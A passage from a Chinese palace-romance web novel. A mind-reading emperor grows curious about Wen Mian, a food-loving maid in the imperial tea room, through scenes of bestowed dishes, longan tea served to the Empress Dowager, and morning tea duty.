昭炎帝抬眸,看了眼撤下去的盘子,突然想起一双眼睛。
她边走边看御膳,那双眼睛直溜溜的,心里还说浪费。
皇帝思索一瞬,道:“郭玉祥。”
“奴才在。”
郭玉祥把腰弓成虾。
“给太后那边送一道糟鹌鹑,一道黄葵伴雪梅;赏娴妃一道燕窝挂炉鸭子,赏……”
皇帝一溜烟赏了宫里好几个大小主子,最后道。
“剩下的菜,你分与乾清宫的宫人罢,就要冬至了,也当犒劳你们一年辛苦。”
郭玉祥连带侍膳太监一齐跪下,叩谢隆恩。
茶房里的人围在一起吃午膳时,郭玉祥来了,他一来,那姑姑连忙站起来福身:“郭谙达好,可是主子爷有吩咐?”
她看起来进退有礼,实则心里打突,在乾清宫,郭玉祥可是宫人里的这个(竖大拇指)。
他为人和善不假,可是能在万岁跟前贴身伺候,又是乾清宫总管,哪能没有手段?
何曾见过他笑成现在这样,跟朵菊花似的,看得人心里发毛。
郭玉祥笑得和善极了,招呼身后小太监把食盒端出来:“万岁爷赏乾清宫上下御膳,这是你们御茶房的。”
御茶房上下一肃,齐齐跪下向乾清宫方向叩头。
而后,几人以一种严肃活泼的、受宠若惊的、诚惶诚恐的、誓要为皇上粉身碎骨的复杂表情,接过御膳。
赏完御膳,郭玉祥还不走。
那姑姑便客气让座:“郭谙达宽坐,长久不来,谙达可赏我们一个面子,与我们一道用饭罢。”
郭玉祥客气两句,坐下后,也不夹菜吃饭,只端着一盅茶
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慢慢呷。
温棉开始时还挺谨慎,毕竟与皇宫里的大太监同坐一桌,她也不敢太暴露本性,但是郭玉祥一直不说话,饭桌上只有吃饭声,没过多久,温棉就只专注吃饭了。
皇帝赏的御膳是一道烧鹿肉和一碟豆沙奶卷。
郭玉祥说,豆沙奶卷是皇帝特意赏给御茶房的,说她们成天经手点心果子,却从没昧着主子偷吃过一口,夸她们侍候的忠心。
听了这话,那姑姑就像被人抹了一层金粉,浑身上下都透出欢快的光来,好比三伏天喝一碗冰酸梅汤,五脏六腑都舒展了。
温棉没把皇帝的赞誉放在心上,虽然她也高兴工作被肯定——这意味着她们的身家性命暂且安全,但眼前,明显御膳比皇帝的夸奖更吸引人。
鹿肉切成指肚大小的块,烧得瘦而不柴,连着肉的筋软烂弹牙,配上玉兰片一起炒,既能吃到鹿肉的风味,又有玉兰片脆爽解腻。
豆沙奶卷是温棉盼望已久的小点,轻轻一咬,牙齿便像陷进了云里,外皮奶香十足,入口即化,包裹的豆沙绵甜,一点半点的红豆粒蹭添口感。
她吃得满足极了,眯起眼睛沉浸在美食里。
桌上其他人都顾及首领太监在场,又或还没从皇帝的夸奖中缓过神来,吃得食不知味。
这就显得只顾着吃的温棉看起来没心没肺。
等她们吃完饭,郭玉祥道辞。
那姑姑丈二和尚,摸不着头脑,不知道首领太监在这坐了半天,只为看她们吃饭,是在打什么主意。
有心想与秋兰她们说道说道,可秋兰是个哑子,一句话也不肯多说,娟秀又太过机灵,却机灵不到点子上。
再看另一个,那姑姑收回目光。
小棉子是个只知憨吃憨睡的憨货,她恐怕都没意识到郭总管脸上表情的不同寻常。
郭玉祥一摇三晃地回到乾清宫时,正好万岁爷午睡起来。
他忙上前伺候穿衣洗漱,论理这活现在是小太监干,可大总管要亲自侍候主子表表孝心,小太监也不敢拦。
郭玉祥跪下,一边给皇帝扣扣子,一边笑道:“万岁爷仁慈,赏了膳,乾清宫上下都叩谢万岁爷隆恩。”
他顿了顿,似是不经意,道:“奴才从御茶房来时,得了赏的宫女儿欢喜的不得了,奴才便坐了一会,有个叫小棉子的宫女,只顾着吃皇上赏的御膳……”
他把温棉吃饭的样子学了一遍。
昭炎帝听得发笑,那个叫小棉子的只顾吃的憨货,必定是在心里谗御膳的那个宫女。
他一甩檀木佛珠,到暖阁批奏折召见大臣去了。
郭玉祥察觉到主子爷心情好,心里越发肯定了那个猜测。
主子爷是跟太祖一起打天下的皇帝,马背上的巴图鲁,一向冷心冷情,任是什么天大的喜事,也不过略点点头罢了。
可今儿,主子爷为着一个宫女,破天荒笑了两回了!
皇帝召见大臣,太监无诏不能在跟前侍候,只能站在廊下。
郭玉祥站在冷风里一边抖,一边心里咂摸,乖乖,人的运道来了,可真是挡也挡不住。
5. 干桂圆
温棉眯了会午觉,下午就和娟秀她们一起,跟那姑姑学泡茶。
什么茶叶怎么泡,用几分烫的水,都是有定数的,若错了一点,失了茶叶味道,让主子喝得不适口,那都是祸。
温棉跟那姑姑学完,回去借了张纸,用描画样的炭笔做了个表格,写清楚茶叶品类、热水温度以及泡法,一目了然。
那姑姑见了笑她,温棉便说:“好记性不如烂笔头。”
娟秀打趣道:“姑姑若教小棉子什么菜该怎么炒,她保准一下就记住了。”
秋兰腼腆一笑,御茶房难得欢快些。
几人正说笑,就见外面来了个小太监,站在门槛上,道:“那姑姑,老祖宗召见。”
那姑姑和秋兰的脸,一下子白了,温棉和娟秀不明就里。
太后若要关心皇帝起居,一向只叫首领太监问询,召见敬茶上的宫女算什么事儿?
再看那姑姑的脸色,几乎和雪一样,秋兰的脸比那姑姑的还白。
显然两人知道些什么。
不敢耽搁老太后谕令,两人整整衣服,便跟小太监走了,刚走了没一刻,就有小太监来传话:“万岁爷叫茶。”
推开毡帘,见茶房里就她们两个。
小太监跺脚:“这可怎么是好?万岁爷正叫起呢,暖阁里好几个锦鸡、孔雀补子,就你们两个,别到时候叫大人吃冷茶,在背后说乾清宫的不是。”
娟秀眉毛一竖:“谁敢说乾清宫一句?”
温棉拉了拉她的袖子,道:“反正茶房现在只我们两个,叫我们去当差,总比万岁和大人们渴着强吧?”
她们收拾了茶器,一起抱到乾清宫东侧的庑房里,这就是那姑姑和秋兰平日上事儿的地方。
往常,温棉和娟秀是不能来这地儿的。
热水一直在铜吊子里滚着,两人一起泡好茶。
直到这会,娟秀才觉出怕来,极小声道:“小棉子,若是万岁爷吃着不好,不会把我们……”
温棉也心里一紧,只她还镇定些:“哪有主子会为个茶喊打喊杀的?我们又不是下毒……”
这话说的,娟秀真想打她两下:“嘴上没个把门的,哪天叫火筷子夹了舌头就知道厉害了。”
茶叶泡好后,是由太监送进去的。
温棉和娟秀贴在一起,站在炉子旁,生怕里头传来摔杯摔盏的声音来,半晌还是安安静静,她们才一屁股坐到板凳上。
又过了一会,臣工们散去,一个小太监来到耳房:“万岁爷叫你们进去呢。”
这话不啻于晴天打雷,惊得温棉和娟秀一个激灵。
温棉和娟秀低着头,由小太监领进去。
乾清宫面阔九间,进深五间,她们一直往里走,到东暖阁后,余光瞅见榻上垂下海水江崖的衣角,两人俱是一肃,齐齐跪下叩头。
昭炎帝叫她们起来答话。
温棉一边站起来,一边左思右想,忽想起方才太后叫那姑姑去问话,想必有什么那姑姑这些老人知道、而她和娟秀两个新人不知道的事。
皇帝叫她们来,不定也是为了这件她们不知道的事。
她不清楚这里面有什么内情,生怕引火烧身,只低头看蓝地八吉祥栽绒毯,暖阁里烧着火地,踩在方砖上也不觉得冷。
昭炎帝手里举着一卷经:“你们是内务府送来的?”
娟秀小心道:“回万岁爷,是,奴才原在内务府掌仪司。”
昭炎帝视线略抬起,看见那个外表老实,心里胆大的宫女,一直低着头不说话。
不由暗自嗤笑,倒是个警觉的性子。
只是,既性子警觉,怎么就不懂看主子眼色行事呢?
温棉听到皇帝沉默了一息,又道:“你呢?”
她连忙跪下:“奴才原在内务府广储司。”
她和娟秀虽然同在内务府,但她是打杂的,娟秀却是掌仪司里教小宫女规矩的,在乾清宫外,也能被人叫一声姑姑。
昭炎帝放下经:“叫什么名儿?”
娟秀和温棉一齐回答。
娟秀道:“入了乾清宫,就是乾清宫的人,请万岁爷赐名。”
温棉则老实道:“叫温棉,温暖的温,棉花的棉。”
宫女一齐回主子话,说的还不齐,这要是让姑姑知晓,免不了一顿簟把子,两人的脸瞬间白了。
昭炎帝倒没发怒,只问道:“往日都是和玳两个敬茶,今儿怎么是你们?”
和玳是那姑姑的名字。
皇帝的语气听上去似是不虞,好像不满她们俩侍候。
娟秀吓的牙齿打战,吭不出一个字来。
温棉连忙顶上:“回万岁爷的话,方才太后娘娘遣人来,寻那姑姑说话,奴才们跟着那姑姑学了一个月,虽已竭尽全力,难免不足。
手艺不当之处,请万岁恕罪。”
她心说,自己猜的果然不错,皇帝就是在问那姑姑踪迹。
昭炎帝摸着佛珠,面前的宫女低着脑袋,他看不见眼睛,也就无从得知她的心声。
他冲温棉抬下巴:“你来,把这盘桂圆剥了。”
一直在外头帘子旁站着的郭玉祥,听到主子吩咐,赶忙叫小太监端了盆热水,并豆粉、皂角和巾帕,一起送进去。
温棉净过手后,便照皇帝吩咐剥桂圆,手指才一用力,桂圆黄褐色的皮就被按下一个坑。
这盘都是干桂圆。
温棉有些诧异地抬头,提醒道:“万岁爷,干桂圆剥开后不能直接吃,得煮粥或泡茶。”
快让她抱着干桂圆回茶房吧,当着国家领导人的面剥桂圆,压力山大啊。
昭炎帝看了她一眼,此时她的心里平静无波,没有一丝声音。
他捡起一颗桂圆,剥出里面红褐色的果肉,轻轻一丢,那颗剥好的桂圆就滚进了白瓷盘子里。
而后,他伸出手。
温棉呆呆地看着伸到面前的大手,掌宽指长,骨节分明,脉络如伏于地面的青藤。
爷们儿家的手都粗犷,但皇帝的手却很好看。
大拇指上戴着一个和田玉文扳指,衬得肉皮也跟玉似的温润。
温棉盯了一会子面前的手,蓦地反应过来,忙递上一颗桂圆。
昭炎帝要笑不笑。
郭玉祥见状,拉住要上前的小徒弟,冲温棉使眼色。
他眼睛都快抽筋了,温棉才发现他是在看她掖在领口的手帕。
皇帝原来是要擦手?
温棉忙递上自己的手帕。
那是一条洗干净的半新的手帕。
郭玉祥在心里倒抽一口冷气,眼珠子都快瞪脱眶了。
这丫头长行市了,敢把自己用过的手帕给万岁用。
他竖起耳朵,擎等着听候主子爷发落这个不会看人眼色还不记主子忌讳的宫女。
却见主子爷只微一挑眉,便拿过这宫女的巾帕擦了手。
郭玉祥错愕得差点原地一个趔趄。
昭炎帝道:“剥好后交代给御膳房,煮一盅桂圆红枣茶。”
而后挥手,示意她们退下。
温棉有些迟疑,她的手帕被皇帝擦过手后放在案几上,她要不要拿回来?
可是当着皇帝的眼皮子底下,她又不敢动,只得先退下。
看着紫褐色的背影消失在帘子后,昭炎帝复又举起经。
郭玉祥看见万岁爷一直盯着那一页,视线仿佛穿过书页,落在那方手帕上。
他忙转过头去,不敢再看。
温棉……
昭炎帝将这个名字在心里过一遍。
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>外表忠厚寡言,内心胆大包天,却又兼行事从容不迫,不抢着拔尖,也不缩着当哑巴。
更重要的是,从没起过不安分的心思,比之其他宫人,倒是很符合他的要求。
很适合培养培养,做心腹。
就是当差时不会看主子眼色……
郭玉祥悄没声儿地上前,将案桌上那条手帕撤走。
他拿到手里,心里嫌弃道:没绣花,连个镶边也没有,这哪是手帕啊?抹布还差不多。
昭炎帝听到他这句心里话,深以为然。
宫中女人谁不在自己手帕上绣几朵牡丹海棠荷花的,偏这丫头的手帕光秃秃的,看着都不好看。
自己方才竟然也就这样用了。
一想到此,他都不明白自己什么时候脾气这样好了。
/
温棉和娟秀回到御茶房后,一屁股坐到凳子上,看着彼此的眼睛,齐齐松了口气。
“我的天爷,快吓坏我了。”娟秀拍着胸口,“我还以为万岁觉得咱们侍候的不好,要治罪呢。”
温棉捧着一盘桂圆:“咱们还是快把桂圆剥了,好交差。”
桂圆送到御膳房,不多时,大师傅就煮了一锅汤色澄清的桂圆红枣茶。
只放糖的时候犯了难,万岁爷从不爱吃甜腻腻的东西,可桂圆红枣煮出来不放糖的话,味道就有些土腥气。
温棉建议道:“不如把糖罐和蜂蜜另装一个小瓶,皇上要是不满意的话,再加就是了。”
大师傅闻言,也只得如此。
等到去交差事的时候,娟秀说什么也不肯再去了,她觉得万岁爷喜怒难辨,天恩难测,有些怕。
温棉便提着食盒,食盒里垫了厚褥子,里面裹着茶盅,一路送到总管太监郭玉祥手里。
本以为交完了差事,谁知郭玉祥叫住了她,让她在帘子外头等一等。
不多时,皇帝换了一身衣服,另穿香色缎面天马皮袍,青缎面乌云豹褂,戴小毛熏貂缎台冠,穿青缎毡里皂靴,太监打起帘子,由东暖阁走出来了。
见温棉在外面,昭炎帝便道:“你随朕来。”
温棉心中一凛,皇帝这是要出门啊。
这么冷的天,她跟他出去走一路,冻都冻死了。
昭炎帝斜了她一眼,寻常宫女能跟主子出去办差,高兴还来不及,她倒心生退意。
他将话说得更明白些:“朕要去慈宁宫请太后安,这壶桂圆红枣茶由你待会进上去。”
在太后跟前服侍一会儿,太后指定有赏,这下总能叫她不想躲懒了吧。
然而昭炎帝听到的是:「慈宁宫?这么远?现在说自己腿断了不能工作,还来得及吗?」
昭炎帝下意识看向她的腿,只看得见旗袍面。
但见她虽恭顺低头,身板儿却站得笔管条直。
酱色旗袍裹在身上也不显得臃肿,想来腿长得很直溜。
他懒得再看她,直接走在前面。
冬季御辇里有火炉,四面朱髹座板,前面垂着毡子,围得风吹不进。
昭炎帝上御辇前,余光瞥向温棉,她提着一个大食盒,走在路上,显得有些踉跄。
昭炎帝蹙眉:“把东西给王来喜,没得摔了朕要给太后的茶。”
不待温棉说话,王来喜就机灵地接过食盒。
温棉心道,这下她没了用处,不如就此回去?
谁知描金黄缎的毡帘突然掀开了。
皇帝扔了一个东西给她:“给朕拿好了。”
温棉抱着手里的东西后退两步,御辇升起后,她才反应过来,手里是一个瓜棱铜鎏金手炉,隐隐飘着皇帝身上的熏香。
怀里抱着一个暖融融的手炉,天寒地冻的路也就没那么艰难,不消多时,一行人便走到了慈宁宫。
6. 桂圆红枣茶
昭炎帝并不是太后尼鲁温氏亲生的,但他落草后,生母就因难产去世,故而自幼养在太后院里。
那时太祖在打天下,没空管儿子。
尼鲁温小名叫咖日迪,在蒙语里是凤凰的意思,她是科尔沁部最尊贵的公主,下嫁太祖后却一直没能有孕,为慰藉膝下荒凉,于是亲自照顾抚育这个孩子。
所以,皇帝和太后虽非血脉相连,但有很深的母子情分。
昭炎帝走进慈宁宫时,太后正坐在暖坞熏笼上,殿里静悄悄,嬷嬷宫女执漱盂、塵尾等物,立在一旁。
殿中跪着那姑姑和秋兰,两个人面色惨白,显是已经跪了许久。
见皇帝进来,不等他行礼,太后就拉住了他:“你身边出了那样的事,我竟一点不知道,如今真成了个老废物了。”
皇帝连忙道:“是儿子让人把消息瞒下的,本不欲惊动额涅,没成想还是叫额涅替儿子操心了,是朕的不是。”
温棉站在一旁,抓心挠肺似的痒,就想知道这位天下最尊贵的主子倒底有什么八卦。
昭炎帝看她一眼,示意她把桂圆红枣茶端上去,却见这宫女呆愣愣站着,一点也没看懂他的意思。
倒是王来喜机灵,悄悄把食盒又塞到温棉手里。
温棉这才反应过来,看了皇帝一眼,只对上他幽深的眼眸,连忙低下头,提着食盒走到皇帝身边。
昭炎帝对太后道:“多尔济送来的桂圆,朕亲手剥了壳,命御膳房配红枣熬茶,额涅喝一口,消消气。”
他话才说完,就听到身边一个极明显的心声:「亲手剥桂圆?就亲手剥了一颗吧,约等于剥了个寂寞。」
昭炎帝滞了一瞬,有些尴尬。
他斜眼看去,温棉低眉顺眼地倒茶,丝毫看不出不敬。
珐琅彩牡丹小碗里,红褐色的汤水冒着袅袅热气
在皇帝示意下,温棉将碗端到太后面前,由太后身边的老嬷嬷接了,服侍太后吃了一口。
温棉退到皇帝身后,这才发现不对劲,慈宁宫里静悄悄的,落针可闻,伺候的宫人只郭玉祥和她,还有太后身边的老嬷嬷。
郭玉祥是皇帝的首领太监,老嬷嬷肯定是太后身边的老宫女,她又算得上是哪个台面上的人物?
一屋子心腹,加上还跪着的那姑姑和秋兰,肯定要说些体己事。
这种级别的八卦,不是她可以听的。
温棉只是没有眼色,并不是没有脑干。
她拱肩缩背,悄悄擦着地板向外退去。
谁知横生枝节,郭玉祥挡在她前面,不留痕迹地轻轻一推,就将她又推到皇帝背后了。
天杀的郭玉祥,别被你姑奶奶逮到!
温棉心里恨恨骂了一句,眼见无法置身事外,只得站在皇帝背后,乖乖当背景板。
听太后和皇帝说话,她这才知道发生了什么。
那个导致她和其他宫人,跪了一下午的绣春囊,那个让淑妃告娴妃私通的绣春囊,其实既不是宫妃互相陷害的证据,也不是太监宫女对食的信物。
而是一个恋慕皇帝的宫女绣的。
宫女传情,绣些红豆、鸳鸯、并蒂莲也是有的,可那个宫女听人说,只要绣春宫,而后将此物埋在有佛气的地方,日夜祷告,就能得偿所愿。
在宫里,只有各宫主子有小佛堂,借她十个胆子,也不敢将东西放在主子房里
于是就想到了斋宫。
结果就被扫出来了,还引起两位宫妃斗法。
太后又呷了一口茶,问皇帝:“那个奴才,你是怎么处置的?”
昭炎帝道:“此物挖出来的第二天,就查实是那个宫女所为,直接杖毙了。”
温棉听得起了一层白毛汗。
不过就是绣了个有些露骨的荷包,皇帝至于取人性命吗?
昭炎帝听到她的心声,将茶碗重重搁下,沉声道:“本打算打一百大板,赶出宫去,可朕觉得那宫女所行之事,与巫蛊相似。
又是绣像又是佛气,又要祈祷又要作法,实在不能轻易揭过。”
太后点头:“很是,大启江山来之不易,不能在这上头着了奸人算计。”
昭炎帝还想听温棉的心声,若是她知道此事与巫蛊牵扯,就该明白宁可错杀,不能放过。
再说那宫女的来历也古怪,寻常宫女哪有那般大的胆子,定是别有用心之人送进宫的。
何况他是皇帝,天下君父,岂容他人意淫。
可是他这能力有个限制,只能先看人眼睛,对视之后,才能听见此人心声,且每次只能听半刻钟左右。
现在温棉垂下眼皮,他便无从得知她想什么了。
太后端坐于卍字不到头的大坐垫上,喝了一口桂圆红枣茶,道:“你如今身边只有太监侍候,女官只七八个,倒底不像样。
照前朝的例,司寝、司设等配齐了,少说也要五十来个,这才是天子的尊荣。”
昭炎帝笑道:“这又算什么天子尊荣?前朝还有让宫女抬轿的皇帝,前路执香,后路撒花,不一样把国亡了?
依儿子看,竟不用从伺候的人身上做文章,排场大了,未免骄奢淫逸,不是明君所为。”
太后笑道:“皇帝勤政,自然是万民之福,只是委屈了你。和玳转年就要放出宫去,敬茶上只剩两个,又是新人,哀家不放心。”
温棉闻言,吃了一惊,这意思是那姑姑和秋兰都要放出宫去?
她悄悄看那姑姑,温棉在心里算她们两人的年纪,怎么算都是二十三,离放出宫还有两年。
提前退休,还有这好事?不知这种好运气能不能轮到她。
昭炎帝端着茶碗,并不喝,笑道:“朕打算日后叫太监管御茶房,都是在茶房里经年侍候的老人,泡茶煮茶都是老道的,再挑个宫女做掌班,尽够了。”
慈宁宫静了一瞬。
太后垂下眼皮,头上戴着米珠盘长结珊瑚寿字钿子,一身墨地团寿旗袍,显得她像个供在神龛的佛爷。
皇帝也不说话,只静静喝茶。
大殿陷入寂静。
温棉站得战战兢兢。
这对天家母子说话温声细气,聊的又都是为娘的关爱儿子、儿子关心娘的话,可她听
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着听着,总觉得莫名不对劲,脊背直发凉。
太后慢悠悠靠到金钱蟒大条褥上,声气儿似叹息般,幽幽地打破静谧:“你如今大了,这些伺候上的事,只要你自己个儿觉得受用就成。
哀家老了,也没精力管这么多。”
皇帝忙道:“皇额涅哪里话?儿子还等着额涅精神好了,还把内廷六宫交给额涅管呢。”
太后嘴角勾起不明显的弧度:“娴淑敬三妃管得极好,待娴妃、淑妃两人解了禁,有她们姐妹三个,哀家只含饴弄孙过日子,再没不放心的。”
说着话,太后捏了捏头,一旁老嬷嬷连忙道:“娘娘,您这头疾一直不见好,还是请个太医来瞧瞧罢。”
皇帝担忧道:“额涅病了?怎么不告诉儿子知晓?郭玉祥,传何逢妙来。”
太后连连摆手,道不妨事。
老嬷嬷一脸不赞同:“娘娘都好几日没睡好……”
她觑着太后的眼色住了嘴。
皇帝听闻太后睡不好,自然要过问:“三丹姑,你只管说,太后为什么睡不好?又怎么头疼了?可是有谁伺候的不经心?”
老嬷嬷便跪下:“也没什么,娘娘有了春秋,天儿又冷,难免身上不好。
前儿多尔济大人家的四姑娘来请安,说了两句草原上的事,夜里娘娘便睡不踏实,第二天头疾就复发了……”
不多时,太医院院判何逢妙来了,望闻问切后,只道是脾气郁结,开了两剂药。
皇帝关切道:“既然额涅想家,就叫多尔济家人常来宫里侍奉,都是自家亲戚,也不必太拘礼。”
太后笑着点头,看上去对儿子的孝心很是感动。
又和太后说了两句话,待膳时,昭炎帝以外头大臣递了膳牌为由,告辞了。
等出了慈宁宫,外头天早黑了,雪花搓絮般纷纷扬扬,连成一片羊毛毡似的天幕。
郭玉祥亲自给皇帝打上油绸伞,御辇停放处,一群太监早点上灯候着。
隔着雪,晕黄的灯光明明灭灭。
昭炎帝直到走出慈宁宫,雪花落在额头上,被冰冷一激,他才觉得头脑轻快了些。
即便他能听心声,也不愿意听原本至亲之人的心声。
太后这是想让宫里有个蒙军旗妃子生的孩子。
甚至是,想让尼鲁温家的女儿,生下大启的阿哥——
将来能继承皇位的阿哥。
他叹了口气,坐上御辇,回乾清宫了。
温棉老老实实跟在后面慢慢走。
不慢不行。
那姑姑和秋兰跪了一下午,两人看似走得笔直,实则全靠温棉左右开支,给她们两个借力。
看着那姑姑额头上渗出的汗珠,温棉心中更觉悲凉。
这就是做奴才的悲哀,身不由己,分明是上头之间不对付,打机锋,她们却平白受连累。
回到乾清宫,那姑姑和秋兰默不作声,娟秀也极识趣,一句话也没打听。
温棉忙着烧滚水找药膏,一刻不停。
第二日,那姑姑就叫温棉和娟秀正式去乾清宫当差了。
7. 麻酱烧饼
从慈宁宫回来,当天晚上,那姑姑靠着半旧的青缎靠枕,膝盖肿得老高,叮嘱她们道:
“皇上勤俭,不好什么金叶玉露,只用玉泉山水泡清茶就是。
这其中,最紧要的就是水温,该八分烫就不能冷到七分。
有些茶嫩,水略烫一点,茶味就变了,有些茶老,需得用滚水才能冲泡出滋味,这其中该怎么拿捏,不下功夫琢磨,是悟不透的。
你们两个,万事经心。”
温棉和娟秀老老实实应是,福了福身才退下。
那姑姑叹气,心道,他们这些苦命人在深宫里一如茶叶在沸水中,等在宫里过个几年,被时间冲泡透,人便也和茶一样,透出苦味了。
今日再到乾清宫里去上事儿,娟秀便没了往日的活泛,她仿佛嗅到不同寻常的气息,屏气凝神,只顾低头当差。
因为要伺候皇上早起喝茶,她们两个饭都没吃,两点就起床,到乾清宫耳房烧水待命。
外面天黑得泼墨似的,乾清宫里不见光亮,只有茶炉这里跳跃着火光。
凡走路的太监宫女没有一丝声音,好像这里睡着一头吃人的野兽,一旦不小心惊醒野兽,就会丧命。
娟秀突然听到身边悉悉索索的,紧接着,浓厚的芝麻酱味飘来。
她惊了一跳,使劲拽温棉袖子。
温棉贴着她耳朵道:“我早起不吃饭容易晕,不骗你,真的。”
她怀疑自己是低血糖。
之前在内务府时,她当中班,十一点才进宫上事儿,八九点时和荣儿去吃饭,从没晕过。
可是自进了御茶房,她早上两三点就要起床,作息打乱重来,回回起床后就觉得难受,非得先咽两块晚上剩的糕点,不然一定头晕恶心。
娟秀知道她这个毛病,只是无法,咬牙切齿道:“你要作死可别带上我,主子还没吃呢,你怎么就能……”
温棉现在说话一吹气,就是一股浓浓的芝麻香。
她道:“反正离咱们进去还有好一会呢,只端个茶水,又不说话,皇上怎会知道?”
话才说完,只听远处传来拍手声,紧接着,萤豆大小的光亮起。
这就是个信号,意思是皇上起了,先叫司衾的进去。
温棉连忙擦了擦嘴角的渣滓,抻了抻旗袍,准备好茶水,和娟秀静候传她们的信号。
一连进进出出好几波太监宫女,皇帝终于要茶喝了,温棉和娟秀俱是一凛。
娟秀端着皇帝要的茶,温棉则端了一杯皇帝漱口的水。
在温棉看来,皇帝这人有些龟毛。
早起净过牙,必喝一盏参茶养生,但又不喜吃饭时还掺着参的味道,所以喝完后,必要清水漱口。
温棉一进殿内,只觉扑鼻暖香,不是花香果香,而是一种掺杂着檀香的木头香味。
她低着头,走过重重垂帘,进到卧室。
皇帝披着一件玄狐皮大褂,梳头太监跪着,给皇帝通了百遍头,然后恭恭敬敬的编头发。
昭炎帝看见进来侍茶的宫女,心道,这个温棉今儿头一回正式上事,也不知道心里会想些什么。
温棉走在娟秀后面,心中最后一丝担心也没了。
她刚刚还想,吃了一个麻酱烧饼,皇帝传茶水又传得太快,她还没散干净味道。
就是不说话,鼻子呼出的气也带着芝麻香,要是让皇上闻到了,这可不好。
可现在一进卧室,满室檀香,她身上的芝麻味被盖得干干净净。
皇帝坐着,微微抬眼就能看见温棉低垂的眼睛。
他听到她心中说:「方才出耳房时着急了些,今天第一次正式工作,还是紧张了。」
昭炎帝满意地点头,果然如此,这个温棉心里再胆大,也不过是个常人,怎会不紧张?
他满意的笑容还挂在嘴角,紧接着,就听温棉心道:
「要不然把麻酱烧饼放在炉子边烤着,待会回去后,烧饼肯定是热的。
结果急着进来,随手把烧饼放在桌子上,现在烧饼里的麻酱肯定冻成疙瘩了。」
昭炎帝:……
他真是活打了嘴巴。
这宫女哪里紧张?
紧张到背着主子吃麻酱烧饼,紧张到比主子还早吃饭吗?
吃完参茶,温棉连忙送上清水。
昭炎帝接过黄釉茶碗,没有漱口,只慢慢喝着,并不着急。
皇帝既然没喝完水,温棉的工作自然不算完。
娟秀端着剩茶退出去了,她只得站在一旁等候。
梳头太监梳好龙头,系上明黄坠玉绦子,皇帝端着茶碗走到明间去了。
温棉瞅了一眼郭玉祥,希望首领太监能给她个提示,谁知郭玉祥像是没看见般,亦步亦趋跟着皇帝,也到明间去了。
温棉抿嘴,第一天当差,皇帝的表现跟那姑姑说的不一样啊。
在那姑姑嘴里,侍茶的事儿最多一刻钟就完了,可是今儿……
郭玉祥也奇怪,万岁爷积威甚重,却从不刁难底下人,今儿这是怎么了?
温棉轻轻跟在一群太监后面,走到明间,皇帝已经开始用早膳,手旁就放着茶房的黄釉素瓷茶碗。
在宫里,哪怕一根草都有记档,何况给皇上用的茶碗?
物件要“时用时收”,侍奉的人不能叫器物离了眼,更别说放下器物不管,或是丢了器物。
你说不见就不见了?万一偷运出宫卖了呢?
就是碎了,你也要把碎片一个不少的捡回来,缺粒齑粉都不成。
温棉紧盯茶碗,生怕丢了或是碎了。
要是她现在空手回茶房,万一茶碗不见了,内务府查过档后,她免不了一顿责罚。
皇帝的膳桌上摆了三五样粥,十几种小菜和饽饽,这不是正经早膳,只是御门听政前垫肚子的罢了。
他看了眼温棉,见她如丧考妣,站在美人觚旁,眼睛直勾勾盯着茶碗。
心道她竟然还知道怕。
可转念一想,在这个宫女心里,她怕茶碗出事,怕内务府责罚,却不怕他这个皇帝,真是又好气又好笑。
正想着,昭炎帝面前被侍膳太监放了一碗胭脂米粥,他看了一眼,才反应过来。
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自己一直看着温棉那个方向,那里恰好有一盅红稻米粥,煮得粒粒开花,清香又弹牙。
他拿起汤匙,她的心声又变了:「好香啊……」
昭炎帝在温棉的眼神下,不急不慢地喝完了粥,吃了两个羊奶饽饽,两盘肉一盘菜,还吃了一只麻酱烧饼。
烧饼酥得起皮,外表撒了厚厚一层芝麻,咬一口咔吱作响,饼皮簌簌落下,里面的麻酱裹着足足的糖,又绵又甜。
郭玉祥纳罕,万岁爷不爱吃掉皮的东西,什么酥糖、龙须糖、千层饼,他从来不碰。
怎么今儿倒吃起麻酱烧饼来?
昭炎帝一边吃,一边听到温棉在心里咽口水,声音越来越大。
他方才的不虞就全散了。
他敢说,现在满殿伺候的太监宫女,只有她一人心里想的是吃的。
越想越觉得可乐。
用罢膳,昭炎帝在桌旁净了手,点了点手边的茶碗:“还不收走?怎么当差的?”
温棉从皇帝吃播的景象清醒过来,看见皇帝叫她收走茶碗,如蒙大赦,几步上前,端走茶碗就要撤。
皇帝却叫住了她:“温……棉?”
听到皇帝叫她,温棉止步,多年由宫规磋磨,她习惯性地跪下:“奴才在。”
每自称“奴才”一回,温棉心里都会提醒自己,活命要紧。
对她而言,在人命面前,尊严不值一提,只偶尔时,做人的脊骨会突然抽一下,让她想一死以求解脱。
昭炎帝放下擦手的帕子,道:“御茶房里当还有干桂圆,你送去给敬妃和乌贵人,告诉她们,这桂圆是闽浙总督多尔济进上的。”
他说完,就起身进内间,换了一身常服袍褂,去御门听政了。
温棉抱着两篓干桂圆,和娟秀面面相觑。
皇上吩咐了差事,她自然要去做,只是她一个人不能分成两头跑,且宫女不能单人离宫,她又不认识这宫里其他人。
有心叫娟秀一起,可又怕皇上提前回来,茶房上没人听差。
正犹豫时,王来喜进来了:“我的姐姐,您还没去呢?可别耽误了万岁爷交代的差事。”
温棉看见他,仿佛看见了救星:“王掌銮,您说这事我该怎么办?”
王来喜身为郭玉祥的徒弟,掌皇帝銮驾事,今儿不轮他当差,他才来茶房坐坐。
他道:“这事有什么难?这么着,我受累,陪您走一趟。”
敬妃是太后娘家侄女,住在启祥宫,乌贵人姓乌兰巴尔思,也是草原漠南出身,与敬妃同住一宫。
启祥宫临近慈宁宫,她们时常与太后说话解闷儿。
听王来喜这么一说,温棉对即将面对的两位妃子有了基本的了解。
只是她还有些担忧:“王掌銮,这么早,小主们起床了吗?”
现在才五点,天黑得如同墨汁,月亮无光,冷风从甬道呼啸而过,扬起积雪,冰碴子直往人脖子里钻。
王来喜噗嗤笑了:“姑娘诶,您可真会开玩笑,都五点了。”
温棉一默,她忘了,在这鬼地方住的人,生物钟都很奇特。
8. 玫瑰饼
冷白的太阳高高挂在天空上,几缕薄云环绕着,衬得阳光惨淡无比,落在人身上,一丝暖意也无。
甬道又深又冷,温棉与王来喜的脚步声在甬道里哒哒响,他们走进启祥宫,果然里面灯火通明,敬妃和乌贵人在正殿里一同用膳。
二人由大宫女领进去,一室暖香扑面,却并没有化解身上的寒意。
看见王来喜,敬妃放下乌木镶金筷,笑道:“一大早就叫你跑腿,你师父也太不心疼人了。”
王来喜一张脸笑得跟菊花似的:“来小主宫里办差,可是旁人求都求不来的好事,师父心疼奴才,才叫奴才来。”
说着他在背后给温棉打手势。
